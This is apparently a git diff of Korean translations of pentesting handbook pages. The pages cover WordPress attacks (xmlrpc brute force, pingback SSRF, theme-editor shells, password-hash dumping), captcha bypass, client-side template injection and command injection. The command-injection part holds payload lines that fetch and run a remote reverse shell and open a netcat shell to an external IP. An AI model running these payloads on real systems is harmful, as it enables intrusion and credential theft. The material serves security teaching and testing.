- `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다.
- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
- `xmlrpc.php`는 HTTP가 전송 메커니즘으로 작용하고 XML이 인코딩 메커니즘으로 작용하는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서 WordPress는 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
**포스트 익스플로잇**
@ -35,7 +35,7 @@
### 사용자 권한
- **관리자**
- **편집자**: 자신의 게시물 및 다른 게시물을 게시하고 관리합니다.
- **편집자**: 자신의 게시물 및 다른 사람의 게시물을 게시하고 관리합니다.
- **저자**: 자신의 게시물을 게시하고 관리합니다.
- **기여자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
- **구독자**: 게시물을 탐색하고 자신의 프로필을 편집합니다.
@ -44,7 +44,7 @@
### **WordPress 버전 가져오기**
파일 `/license.txt` 또는 `/readme.html`을 찾을 수 있는지 확인합니다.
`/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인하십시오.
페이지의 **소스 코드** 내에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### 플러그인 및 테마
모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
### 사용자
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**자격 증명 무차별 대입**
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 방법 중 일부입니다. 이 중 하나라도 찾을 수 있다면 다음과 같은 것을 보낼 수 있습니다:
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 방법 중 일부입니다. 이 중 하나 찾을 수 있다면 다음과 같은 것을 보낼 수 있습니다:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
또한 **`system.multicall`**을 사용하여 자격 증명을 브루트 포스하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
또한 **`system.multicall`**을 사용하여 자격 증명을 무차별 대입하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FA 우회**
이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 것이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 것이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
**DDoS 또는 포트 스캐닝**
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트 지정할 수 있습니다).
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트 지정할 수 있습니다).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
@ -225,7 +225,9 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 존재하는지 확인하고, 존재할 경우 이를 악용하려고 시도합니다.
@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## 비트를 덮어써서 접근하기
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 워드프레스 파일의 비트 하나를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -252,7 +254,7 @@ php 셸을 위한 내용을 변경합니다:
![](<../../images/image (384).png>)
업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
업데이트된 페이지에 접근하는 방법을 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -320,7 +322,7 @@ to get a session.
## Post Exploitation
Extract usernames and passwords:
사용자 이름과 비밀번호 추출:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -332,25 +334,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### 공격 표면
Wordpress 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
Wordpress 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 게시물**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
- **`wp_ajax`**&#x20;
플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 종종 인증 및 권한 부여가 Wordpress nonce의 존재에 기반하고 있으며, **Wordpress 인스턴스에 인증된 모든 사용자가 이를 가질 수 있습니다** (역할에 관계없이).
다음은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv`의 사용은 모든 사용자(인증되지 않은 사용자 포함)가 엔드포인트에 접근할 수 있게 만듭니다.**
**`nopriv`의 사용은 모든 사용자(인증되지 않은 사용자 포함)가 엔드포인트에 접근할 수 있게 니다.**
> [!CAUTION]
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하는 것이라면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
- **REST API**
`register_rest_route` 함수를 사용하여 wordpress에서 함수를 노출하는 것도 가능합니다:
`register_rest_route` 함수를 사용하여 wordpress에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -362,11 +364,11 @@ $this->namespace, '/get/', array(
```
`permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 함수에 대한 콜백입니다.
**내장된 `__return_true` 함수가 사용되면, 사용자 권한 확인을 단순히 건너뜁니다.**
**내장된 `__return_true` 함수를 사용하면 사용자 권한 확인을 간단히 건너뜁니다.**
- **php 파일에 대한 직접 접근**
물론, WordPress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다.
물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다.
## WordPress 보호

View File

@ -2,19 +2,17 @@
{{#include ./banners/hacktricks-training.md}}
### 호스트 헤더
여러 번 백엔드는 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면, 사용되는 도메인은 호스트 헤더에 입력한 도메인입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 당신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
여러 번 백엔드는 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면, 사용되는 도메인은 호스트 헤더에 입력한 입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 당신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> 사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수도 있습니다**.
### 세션 불리언
때때로 일부 검증을 올바르게 완료하면 백엔드는 **세션의 보안 속성에 "True" 값을 가진 불리언을 추가합니다**. 그런 다음, 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
그러나 **검사를 통과**하고 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는 동일한 속성에 의존하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
때때로 일부 검증을 올바르게 완료하면 백엔드는 **보안 속성에 "True" 값의 불리언을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
그러나 **검사를 통과**하고 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### 등록 기능
@ -22,17 +20,18 @@
### 이메일 탈취
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새로운 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 탈취할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 탈취할 수 있습니다.
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 탈취할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 탈취할 수 있습니다.
### Atlassian을 사용하는 회사의 내부 서비스 데스크 접근
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE 메서드
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면, 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만, 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만, 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}

View File

@ -4,34 +4,36 @@
## Captcha Bypass
서버 테스트 중 캡차를 **우회**하고 사용자 입력 기능을 자동화하기 위해 다양한 기술을 사용할 수 있습니다. 목표는 보안을 약화시키는 것이 아니라 테스트 프로세스를 간소화하는 것입니다. 다음은 포괄적인 전략 목록입니다:
**서버 테스트** 중에 captcha를 **우회**하고 사용자 입력 기능을 자동화하기 위해 다양한 기술을 사용할 수 있습니다. 목표는 보안을 약화시키는 것이 아니라 테스트 프로세스를 간소화하는 것입니다. 다음은 전략의 포괄적인 목록입니다:
1. **매개변수 조작**:
- **캡차 매개변수 생략**: 캡차 매개변수를 전송하지 않도록 합니다. HTTP 메서드를 POST에서 GET 또는 다른 동사로 변경하고, 데이터 형식을 변경하는 실험을 해보세요. 예를 들어, 폼 데이터와 JSON 간에 전환합니다.
- **빈 캡차 전송**: 캡차 매개변수가 포함되지만 비어 있는 요청을 제출합니다.
- **Captcha 매개변수 생략**: captcha 매개변수를 전송하지 않도록 합니다. HTTP 메서드를 POST에서 GET 또는 다른 동사로 변경하고, 데이터 형식을 변경하는 실험을 해보세요. 예를 들어, 폼 데이터와 JSON 간에 전환합니다.
- **빈 Captcha 전송**: captcha 매개변수가 포함되지만 비어 있는 요청을 제출합니다.
2. **값 추출 및 재사용**:
- **소스 코드 검사**: 페이지의 소스 코드 내에서 캡차 값을 검색합니다.
- **쿠키 분석**: 쿠키를 검사하여 캡차 값이 저장되고 재사용되는지 확인합니다.
- **이전 캡차 값 재사용**: 이전에 성공한 캡차 값을 다시 사용해 보세요. 이 값은 언제든지 만료될 수 있습니다.
- **세션 조작**: 서로 다른 세션이나 동일한 세션 ID에서 동일한 캡차 값을 사용해 보세요.
- **소스 코드 검사**: 페이지의 소스 코드 내에서 captcha 값을 검색합니다.
- **쿠키 분석**: 쿠키를 검사하여 captcha 값이 저장되고 재사용되는지 확인합니다.
- **이전 Captcha 값 재사용**: 이전에 성공한 captcha 값을 다시 사용해 보세요. 이 값은 언제든지 만료될 수 있습니다.
- **세션 조작**: 서로 다른 세션이나 동일한 세션 ID에서 동일한 captcha 값을 사용해 보세요.
3. **자동화 및 인식**:
- **수학적 캡차**: 캡차가 수학 연산을 포함하는 경우, 계산 프로세스를 자동화합니다.
- **수학적 Captcha**: captcha가 수학 연산을 포함하는 경우, 계산 프로세스를 자동화합니다.
- **이미지 인식**:
- 이미지에서 문자를 읽어야 하는 캡차의 경우, 수동 또는 프로그래밍 방식으로 고유한 이미지의 총 수를 결정합니다. 세트가 제한적이라면 각 이미지를 MD5 해시로 식별할 수 있습니다.
- 이미지에서 문자를 읽어야 하는 captcha의 경우, 수동 또는 프로그래밍 방식으로 고유한 이미지의 총 수를 결정합니다. 세트가 제한적이라면 각 이미지를 MD5 해시로 식별할 수 있습니다.
- [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)와 같은 광학 문자 인식(OCR) 도구를 사용하여 이미지에서 문자를 자동으로 읽습니다.
4. **추가 기술**:
- **비율 제한 테스트**: 애플리케이션이 주어진 시간 내에 시도 또는 제출 횟수를 제한하는지, 이 제한을 우회하거나 재설정할 수 있는지 확인합니다.
- **타사 서비스**: 자동 캡차 인식 및 해결을 제공하는 캡차 해결 서비스 또는 API를 사용합니다.
- **세션 및 IP 회전**: 서버에 의해 감지 및 차단되는 것을 피하기 위해 세션 ID와 IP 주소를 자주 변경합니다.
- **타사 서비스**: 자동화된 captcha 인식 및 해결을 제공하는 captcha 해결 서비스 또는 API를 사용합니다.
- **세션 및 IP 회전**: 서버에 의해 감지 및 차단을 피하기 위해 세션 ID와 IP 주소를 자주 변경합니다.
- **User-Agent 및 헤더 조작**: User-Agent 및 기타 요청 헤더를 변경하여 다양한 브라우저나 장치를 모방합니다.
- **오디오 캡차 분석**: 오디오 캡차 옵션이 있는 경우, 음성 인식 서비스를 사용하여 캡차를 해석하고 해결합니다.
- **오디오 Captcha 분석**: 오디오 captcha 옵션이 있는 경우, 음성 인식 서비스를 사용하여 captcha를 해석하고 해결합니다.
## Online Services to solve captchas
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)는 다양한 유형의 캡차를 자동으로 해결하는 AI 기반 서비스로, 웹 스크래핑 중 발생하는 캡차 문제를 쉽게 극복할 수 있도록 개발자를 지원합니다. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, Cloudflare 턴스타일 등**의 캡차를 지원합니다. 개발자를 위해 Capsolver는 [**문서**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,**에서 자세히 설명된 API 통합 옵션을 제공합니다. 또한 [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) 및 [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)용 브라우저 확장 프로그램을 제공하여 브라우저 내에서 직접 서비스를 쉽게 사용할 수 있습니다. 다양한 요구를 수용할 수 있는 다양한 가격 패키지가 제공되어 사용자에게 유연성을 보장합니다.
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)는 다양한 유형의 captcha를 자동으로 해결하는 AI 기반 서비스로, 개발자가 웹 스크래핑 중에 발생하는 captcha 문제를 쉽게 극복할 수 있도록 데이터 수집을 지원합니다. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, Cloudflare 턴스타일 등**의 captcha를 지원합니다. 개발자를 위해 Capsolver는 [**문서**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,**에서 자세히 설명된 API 통합 옵션을 제공합니다. 이들은 [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) 및 [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)용 브라우저 확장 프로그램도 제공하여 브라우저 내에서 직접 서비스를 쉽게 사용할 수 있도록 합니다. 다양한 요구를 수용할 수 있는 다양한 가격 패키지가 제공되어 사용자에게 유연성을 보장합니다.
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## 요약
이는 [**서버 사이드 템플릿 인젝션**](ssti-server-side-template-injection/)과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.
이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않다면 원래의 `{{ 7-7 }}`가 표시됩니다.
@ -23,8 +23,7 @@ AngularJS는 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임
```
당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다.
> [!CAUTION]
> [**Angular 1.6에서 샌드박스가 제거되었습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
> [!CAUTION] > [**Angular 1.6은 샌드박스를 제거했습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
## VueJS
@ -42,7 +41,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
크레딧: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
@ -72,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **무차별 대입 탐지 목록**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## What is command Injection?
**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 액세스 또는 제어를 얻을 수 있게 합니다.
**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다.
### Context
@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **제한** 우회
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면 이 **우회**에 대해 읽어보는 것이 좋습니다:
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽어보는 것이 좋습니다:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -44,7 +43,7 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### 매개변수
### Parameters
다음은 코드 주입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
@ -118,11 +117,13 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
## 브루트 포스 탐지 목록
## 브루트포스 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 참고 문헌
## 참고문헌
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

View File

@ -2,11 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
### CRLF
캐리지 리턴(CR)과 라인 피드(LF)는 함께 CRLF로 알려져 있으며, HTTP 프로토콜에서 줄의 끝이나 새로운 줄의 시작을 나타내기 위해 사용되는 특수 문자 시퀀스입니다. 웹 서버와 브라우저는 CRLF를 사용하여 HTTP 헤더와 응답 본문을 구분합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에 보편적으로 사용됩니다.
